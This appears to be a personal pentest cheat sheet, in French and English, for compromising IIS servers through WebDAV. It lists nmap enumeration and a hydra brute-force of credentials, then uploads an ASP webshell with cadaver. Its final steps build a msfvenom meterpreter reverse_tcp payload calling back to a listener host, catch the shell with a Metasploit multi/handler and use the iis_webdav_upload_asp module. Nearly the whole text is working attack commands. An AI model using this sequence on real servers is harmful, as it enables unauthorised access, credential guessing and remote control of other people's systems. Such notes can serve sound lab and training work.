Enumeration IIS

nmap -sV -p 80 --script=http-enum $IP
nmap --script http-headers -sV -p 80 10.0.28.146

enumeration Webdav

nmap --script http-methods --script-args http-methods.url-path=/webdav/
10.0.28.146
nmap --script http-webdav-scan --script-args http-methods.url-path=/webdav/
10.0.28.146
davtest -auth <user:password> -url http://<ip>/webdav/ 

Brute Force Webdav credentials

hydra -L <userlist> -P <passwordlist> <IP> http-get </webdav/>

Client Webdav

cadaver http://<ip>/webdav

Reverse Shell (upload with cadaver)

put /usr/share/webshells/asp/webshell.asp 

Metasploit méthode

• MSFvenom payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.11.7 LPORT=1234 -f asp > monshell.asp

cadaver
put /monshell.asp

msf> use multi/handler

msf> set payload windows/meterpreter/reverse_tcp

• Autre méthode

msf> use exploit/windows/iis/iis_webdav_upload_asp